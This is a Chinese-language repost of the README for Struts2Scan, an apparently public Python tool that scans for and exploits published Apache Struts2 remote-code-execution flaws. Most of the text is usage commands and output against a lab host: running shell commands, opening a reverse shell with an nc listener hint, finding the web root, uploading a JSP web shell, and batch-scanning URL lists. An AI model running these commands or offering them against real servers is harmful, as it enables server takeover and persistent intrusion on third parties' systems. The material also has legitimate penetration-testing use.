一款可檢測Struts2全網漏洞且含EXP工具
阿新 • • 發佈:2021-08-20
- Struts2漏洞利用掃描工具,基於網際網路上已經公開的Structs2高危漏洞exp的掃描利用工具,目前支援的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057
- 支援單個URL漏洞檢測和批量URL檢測,至此指定漏洞利用,可獲取WEB路徑,執行命令,反彈shell和上傳檔案,注意,並不是所有的漏洞均支援上述功能,只有部分功能支援
- 如有錯誤或者問題歡迎大家提問交流,一起解決
執行環境
- Python3.6.X及其以上版本
- 第三方庫: click, requests, bs4
- 測試環境: Ubuntu 16.04
- 漏洞環境已上傳,參考地址:
工具引數說明
Usage: Struts2Scan.py [OPTIONS] Struts2批量掃描利用工具 Options: -i, --info 漏洞資訊介紹 -v, --version 顯示工具版本 -u, --url TEXT URL地址 -n, --name TEXT 指定漏洞名稱, 漏洞名稱詳見info -f, --file TEXT 批量掃描URL檔案, 一行一個URL -d, --data TEXT POST引數, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp} -c, --encode TEXT 頁面編碼, 預設UTF-8編碼 -p, --proxy TEXT HTTP代理. 格式為http://ip:port -t, --timeout TEXT HTTP超時時間, 預設10s -w, --workers TEXT 批量掃描程序數, 預設為10個程序 --header TEXT HTTP請求頭, 格式為: key1=value1&key2=value2 -e, --exec 進入命令執行shell --webpath 獲取WEB路徑 -r, --reverse TEXT 反彈shell地址, 格式為ip:port --upfile TEXT 需要上傳的檔案路徑和名稱 --uppath TEXT 上傳的目錄和名稱, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp -q, --quiet 關閉列印不存在漏洞的輸出,只保留存在漏洞的輸出 -h, --help Show this message and exit.
使用例子
檢視漏洞詳細資訊:
$ python3 Struts2Scan.py --info ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| Author By HatBoy [+] 支援如下Struts2漏洞: [+] S2-001:影響版本Struts 2.0.0-2.0.8; POST請求傳送資料; 預設引數為:username,password; 支援獲取WEB路徑,任意命令執行和反彈shell [+] S2-003:影響版本Struts 2.0.0-2.0.11.2; GET請求傳送資料; 支援任意命令執行 [+] S2-005:影響版本Struts 2.0.0-2.1.8.1; GET請求傳送資料; 支援獲取WEB路徑,任意命令執行 [+] S2-007:影響版本Struts 2.0.0-2.2.3; POST請求傳送資料; 預設引數為:username,password; 支援任意命令執行和反彈shell [+] S2-008:影響版本Struts 2.1.0-2.3.1; GET請求傳送資料; 支援任意命令執行和反彈shell [+] S2-009:影響版本Struts 2.0.0-2.3.1.1; GET請求傳送資料,URL後面需要請求引數名; 預設為: key; 支援任意命令執行和反彈shell [+] S2-012:影響版本Struts Showcase App 2.0.0-2.3.13; GET請求傳送資料,引數直接新增到URL後面; 預設為:name; 支援任意命令執行和反彈shell [+] S2-013/S2-014:影響版本Struts 2.0.0-2.3.14.1; GET請求傳送資料; 支援獲取WEB路徑,任意命令執行,反彈shell和檔案上傳 [+] S2-015:影響版本Struts 2.0.0-2.3.14.2; GET請求傳送資料; 支援任意命令執行和反彈shell [+] S2-016:影響版本Struts 2.0.0-2.3.15; GET請求傳送資料; 支援獲取WEB路徑,任意命令執行,反彈shell和檔案上傳 [+] S2-019:影響版本Struts 2.0.0-2.3.15.1; GET請求傳送資料; 支援獲取WEB路徑,任意命令執行,反彈shell和檔案上傳 [+] S2-029:影響版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST請求傳送資料,需要引數; 預設引數:message; 支援任意命令執行和反彈shell [+] S2-032:影響版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET請求傳送資料; 支援獲取WEB路徑,任意命令執行和反彈shell [+] S2-033:影響版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET請求傳送資料; 支援任意命令執行和反彈shell [+] S2-037:影響版本Struts 2.3.20-2.3.28.1; GET請求傳送資料; 支援獲取WEB路徑,任意命令執行和反彈shell [+] S2-045:影響版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST請求傳送資料,不需要引數; 支援獲取WEB路徑,任意命令執行,反彈shell和檔案上傳 [+] S2-046:影響版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST請求傳送資料,不需要引數; 支援獲取WEB路徑,任意命令執行,反彈shell和檔案上傳 [+] S2-048:影響版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST請求傳送資料; 預設引數為:username,password; 支援任意命令執行和反彈shell [+] S2-053:影響版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST請求傳送資料; 預設引數為:username,password; 支援任意命令執行和反彈shell [+] S2-devMode:影響版本Struts 2.1.0-2.3.1; GET請求傳送資料; 支援獲取WEB路徑,任意命令執行和反彈shell
單個URL漏洞檢測:
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action
____ _ _ ____ ____
/ ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \
___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | |
|____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_|
Author By HatBoy
[+] 正在掃描URL:http://192.168.100.8:8080/index.action
[*] ----------------results------------------
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-046
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-016
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-045
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-015
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-009
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-012
批量漏洞檢測:
$ python3 Struts2Scan.py -f urls.txt
POST資料:
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}
指定漏洞名稱利用:
# 命令執行 $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| Author By HatBoy >>>ls -la total 136 drwxr-sr-x 1 root staff 4096 May 5 2017 . drwxrwsr-x 1 root staff 4096 May 5 2017 .. -rw-r----- 1 root root 57092 Apr 13 2017 LICENSE -rw-r----- 1 root root 1723 Apr 13 2017 NOTICE -rw-r----- 1 root root 7064 Apr 13 2017 RELEASE-NOTES -rw-r----- 1 root root 15946 Apr 13 2017 RUNNING.txt drwxr-x--- 1 root root 4096 May 5 2017 bin drwx--S--- 1 root root 4096 Jul 12 14:54 conf drwxr-sr-x 3 root staff 4096 May 5 2017 include drwxr-x--- 2 root root 4096 May 5 2017 lib drwxr-x--- 1 root root 4096 Jul 12 14:54 logs drwxr-sr-x 3 root staff 4096 May 5 2017 native-jni-lib drwxr-x--- 2 root root 4096 May 5 2017 temp drwxr-x--- 1 root root 4096 Jul 12 14:54 webapps drwxr-x--- 1 root root 4096 Jul 12 14:54 work >>> # 反彈shll $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888 ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| Author By HatBoy [*] 請在反彈地址處監聽埠如: nc -lvvp 8080 # 獲取WEB路徑 $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| Author By HatBoy [*] /usr/local/tomcat/webapps/ROOT/ # 上傳shell $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| Author By HatBoy [+] 檔案上傳成功!
工具下載連結及原文地址https://github.com/HatBoy/Strut